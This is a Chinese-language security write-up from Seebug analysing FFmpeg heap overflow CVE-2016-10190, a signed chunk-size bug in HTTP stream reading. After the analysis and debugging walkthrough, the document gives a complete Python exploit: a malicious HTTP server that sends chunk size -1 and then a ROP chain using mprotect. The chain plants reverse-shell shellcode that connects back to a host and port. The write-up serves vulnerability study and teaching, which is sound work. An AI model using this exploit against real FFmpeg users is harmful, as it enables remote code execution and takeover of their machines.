Lucene search

RootSSV:92798

HistoryMar 20, 2017 - 12:00 a.m.

FFmpeg Heap Overflow vulnerability (CVE-2016-10190)

2017-03-2000:00:00

Root

www.seebug.org

0.051 Low

EPSS

Percentile

92.1%

JSON

作者：bird@tsrc

1. 前言

FFmpeg是一个著名的处理音视频的开源项目，使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文详细分析了CVE-2016-10190，是二进制安全入门学习堆溢出一个不错的案例。

调试环境：

FFmpeg版本：3.2.1按照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译
操作系统：Ubuntu 16.04 x64

2. 漏洞分析

此漏洞是发生在处理HTTP流时，读取HTTP流的过程大概如下：

avformat_open_input函数初始化输入文件的主要信息，其中与漏洞有关的是创建AVIOContext结构体
如果输入文件是HTTP流则调用http_open函数发起请求
调用http_read_header函数解析响应数据的头信息
解析完后调用avio_read->io_read_packet->http_read->http_read_stream函数读取之后的数据

首先看下http_read_stream函数

static int http_read_stream(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h-&gt;priv_data;
    int err, new_location, read_ret;
    int64_t seek_ret;
    ...
    if (s-&gt;chunksize &gt;= 0) {
        if (!s-&gt;chunksize) {
            char line[32];

                do {
                    if ((err = http_get_line(s, line, sizeof(line))) &lt; 0)
                        return err;
                } while (!*line);    /* skip CR LF from last chunk */

                s-&gt;chunksize = strtoll(line, NULL, 16);

                av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",
                        s-&gt;chunksize);

                if (!s-&gt;chunksize)
                    return 0;
        }
        size = FFMIN(size, s-&gt;chunksize);
    }
    ...
    read_ret = http_buf_read(h, buf, size);
    ...
    return read_ret;
}

上面s->chunksize = strtoll(line, NULL, 16)这一行代码是读取chunk的大小，这里调用strtoll函数返回一个有符号数，再看HTTPContext结构体

typedef struct HTTPContext {
    const AVClass *class;
    URLContext *hd;
    unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end;
    int line_count;
    int http_code;
    /* Used if "Transfer-Encoding: chunked" otherwise -1. */
    int64_t chunksize;
    ...
} HTTPContext;

可以看到chunksize为int64_t类型也是有符号数，当执行size = FFMIN(size, s->chunksize)这行代码时，由于传进来的size=0x8000，如果之前的strtoll函数返回一个负数，这样就会导致size = s->chunksize也为一个负数，之后执行到read_ret = http_buf_read(h, buf, size)，看下http_buf_read函数

static int http_buf_read(URLContext *h, uint8_t *buf, int size)
{
    HTTPContext *s = h-&gt;priv_data;
    int len;
    /* read bytes from input buffer first */
    len = s-&gt;buf_end - s-&gt;buf_ptr;
    if (len &gt; 0) {
        if (len &gt; size)
            len = size;
        memcpy(buf, s-&gt;buf_ptr, len);
        s-&gt;buf_ptr += len;
    } else {
        int64_t target_end = s-&gt;end_off ? s-&gt;end_off : s-&gt;filesize;
        if ((!s-&gt;willclose || s-&gt;chunksize &lt; 0) &&
            target_end &gt;= 0 && s-&gt;off &gt;= target_end)
            return AVERROR_EOF;
        len = ffurl_read(s-&gt;hd, buf, size);
        ...
    }
    ...
    return len;
}

上面代码else分支执行到len = ffurl_read(s->hd, buf, size)，而ffurl_read中又会调用tcp_read函数(函数指针的方式)来读取之后真正的数据，最后看tcp_read函数

static int tcp_read(URLContext *h, uint8_t *buf, int size)
{
    TCPContext *s = h-&gt;priv_data;
    int ret;

    if (!(h-&gt;flags & AVIO_FLAG_NONBLOCK)) {
        ret = ff_network_wait_fd_timeout(s-&gt;fd, 0, h-&gt;rw_timeout, &h-&gt;interrupt_callback);
        if (ret)
            return ret;
    }
    ret = recv(s-&gt;fd, buf, size, 0);
    return ret &lt; 0 ? ff_neterrno() : ret;
}

当执行到ret = recv(s->fd, buf, size, 0)时，如果size为负数，recv函数会把size转换成无符号数变成一个很大的正数，而buf指向的又是堆上的空间，这样就可能导致堆溢出，如果溢出覆盖一个函数指针就可能导致远程代码执行。

3. 漏洞利用

在http_read_stream函数里想要执行s->chunksize = strtoll(line, NULL, 16)需要s->chunksize >= 0，看下发送请求后http_read_header函数中解析响应数据里每个请求头的函数process_line

static int process_line(URLContext *h, char *line, int line_count,
                        int *new_location)
{
    HTTPContext *s = h-&gt;priv_data;
    const char *auto_method =  h-&gt;flags & AVIO_FLAG_READ ? "POST" : "GET";
    char *tag, *p, *end, *method, *resource, *version;
    int ret;

    /* end of header */
    if (line[0] == '\0') {
        s-&gt;end_header = 1;
        return 0;
    }

    p = line;
    if (line_count == 0) {
        ...
    } else {
        while (*p != '\0' && *p != ':')
            p++;
        if (*p != ':')
            return 1;

        *p  = '\0';
        tag = line;
        p++;
        while (av_isspace(*p))
            p++;
        if (!av_strcasecmp(tag, "Location")) {
            if ((ret = parse_location(s, p)) &lt; 0)
                return ret;
            *new_location = 1;
        } else if (!av_strcasecmp(tag, "Content-Length") && s-&gt;filesize == -1) {
            s-&gt;filesize = strtoll(p, NULL, 10);
        } else if (!av_strcasecmp(tag, "Content-Range")) {
            parse_content_range(h, p);
        } else if (!av_strcasecmp(tag, "Accept-Ranges") &&
                   !strncmp(p, "bytes", 5) &&
                   s-&gt;seekable == -1) {
            h-&gt;is_streamed = 0;
        } else if (!av_strcasecmp(tag, "Transfer-Encoding") &&
                   !av_strncasecmp(p, "chunked", 7)) {
            s-&gt;filesize  = -1;
            s-&gt;chunksize = 0;
        }
        ...
    }
    return 1;
}

可以看到当请求头中包含Transfer-Encoding: chunked时会把s->filesize赋值-1、s->chunksize赋值0。

下面看下漏洞利用的整个调试过程，先发送包含Transfer-Encoding: chunked的请求头，然后avio_read函数中会循环调用s->read_packet指向的函数指针io_read_packet读取请求头之后的数据
image_1b9neb1at1q2b1s5rco61ba11ubf9.png-181.3kB

同时看下AVIOContext结构体参数
image_1b9nehkdngtu112bjqh5e91hlfm.png-115.2kB

之后来到http_read_stream函数
image_1b9nf0l4qsd017no1k3t1mur9bf13.png-225.1kB

可以看到s->chunksize == 0，这时服务器发送chunk的大小为-1，然后就会执行s->chunksize = strtoll(line, NULL, 16)把s->chunksize赋值为-1，并在执行size = FFMIN(size, s->chunksize)后把size赋值为-1，之后来到http_buf_read函数
image_1b9nfjs3p10ka1tcj1anp1jad9a1g.png-191.3kB

这里len == 0会转而执行else分支，又由于s->end_off == 0 && s->filesize == -1，这样就会执行到len = ffurl_read(s->hd, buf, size)，ffurl_read中会调用tcp_read函数执行到ret = recv(s->fd, buf, size, 0)
image_1b9ngbr781oejf7181vb431bg31t.png-71.9kB

可以看到buf的地址是0x229fd20，而之前的AVIOContext的地址为0x22a7d80，因此buf在读入0x22a7d80 - 0x229fd20 = 0x8060字节后就可以溢出到AVIOContext结构体，这里溢出覆盖它的read_packet函数指针
image_1b9ngpkhska3slm1d72ouuuh52a.png-208.4kB

这样在avio_read函数中循环进行下一次读取的时候就控制了PC
image_1b9nh0qn511hinqnbnb1rsdmh2n.png-173.5kB

最后利用成功反弹shell的演示
2017-03-20_142832.png-2078.3kB

4. 完整EXP

根据https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6修改

#!/usr/bin/python

import os
import sys
import socket
from time import sleep
from pwn import *

bind_ip = '0.0.0.0'
bind_port = 12345

headers = """HTTP/1.1 200 OK
Server: HTTPd/0.9
Date: Sun, 10 Apr 2005 20:26:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked

"""


elf = ELF('/home/bird/ffmpeg_sources/FFmpeg-n3.2.1/ffmpeg')
shellcode_location = 0x1b28000 # require writeable -&gt; data or bss segment...
page_size = 0x1000
rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))
pop_rdi = gadget('pop rdi; ret')
log.info("pop_rdi:%#x" % pop_rdi)
pop_rsi = gadget('pop rsi; ret')
log.info("pop_rsi:%#x" % pop_rsi)
pop_rax = gadget('pop rax; ret')
log.info("pop_rax:%#x" % pop_rax)
pop_rcx = gadget('pop rcx; ret')
log.info("pop_rcx:%#x" % pop_rcx)
pop_rdx = gadget('pop rdx; ret')
log.info("pop_rdx:%#x" % pop_rdx)
pop_rbp = gadget('pop rbp; ret')
log.info("pop_rbp:%#x" % pop_rbp)
push_rbx = gadget('push rbx; jmp rdi')
log.info("push_rbx:%#x" % push_rbx)
pop_rsp = gadget('pop rsp; ret')
log.info("pop_rsp:%#x" % pop_rsp)
add_rsp = gadget('add rsp, 0x58')
mov_gadget = gadget('mov qword ptr [rcx], rax ; ret')
log.info("mov_gadget:%#x" % mov_gadget)
mprotect_func = elf.plt['mprotect']
log.info("mprotect_func:%#x" % mprotect_func)
read_func = elf.plt['read']
log.info("read_func:%#x" % read_func)

def handle_request(client_socket):
    request = client_socket.recv(2048)
    print request

    payload = ''
    payload += 'C' * (0x8060)
    payload += p64(0x004a9929) # rop starts here -&gt; add rsp, 0x58 ; ret
    payload += 'CCCCCCCC' * 4

    payload += p64(0x0040b839) # rdi -&gt; pop rsp ; ret
    payload += p64(0x015e1df5) # call *%rax -&gt; push rbx ; jmp rdi
    payload += 'BBBBBBBB' * 3
    payload += 'AAAA'
    payload += p32(0)
    payload += 'AAAAAAAA'
    payload += p64(0x004a9929) # second add_esp rop to jump to uncorrupted chunk -&gt; add rsp, 0x58 ; ret
    payload += 'XXXXXXXX' * 11

    # real rop payload starts here
    #
    # using mprotect to create executable area
    payload += p64(pop_rdi)
    payload += p64(shellcode_location)
    payload += p64(pop_rsi)
    payload += p64(page_size)
    payload += p64(pop_rdx)
    payload += p64(rwx_mode)
    payload += p64(mprotect_func)

    # backconnect shellcode x86_64: 127.0.0.1:31337
    shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
    shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode
    shellslices = map(''.join, zip(*[iter(shellcode)]*8))

    write_location = shellcode_location - 8
    for shellslice in shellslices:
        payload += p64(pop_rax)
        payload += shellslice
        payload += p64(pop_rcx)
        payload += p64(write_location)
        payload += p64(mov_gadget)

        write_location += 8

    payload += p64(pop_rbp)
    payload += p64(4)
    payload += p64(shellcode_location)

    client_socket.send(headers)
    client_socket.send('-1\n')
    sleep(5)
    client_socket.send(payload)
    client_socket.close()


if __name__ == '__main__':
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    s.bind((bind_ip, bind_port))
    s.listen(5)

    filename = os.path.basename(__file__)
    st = os.stat(filename)

    while True:
        client_socket, addr = s.accept()
        handle_request(client_socket)
        if os.stat(filename) != st:
            print 'restarted'
            sys.exit(0)

5. 总结

此漏洞主要是由于没有正确定义有无符号数的类型导致覆盖函数指针来控制PC，微软在Windows 10中加入了CFG(Control Flow Guard)正是来缓解这种类型的攻击，此漏洞已在https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa中修复。另外对于静态编译的版本，ROP gadget较多，相对好利用，对于动态链接的版本，此漏洞在libavformat.so中，找到合适的gadget会有一定难度，但并非没有利用的可能。

6. 参考

0.051 Low

EPSS

Percentile

92.1%

JSON

Related for SSV:92798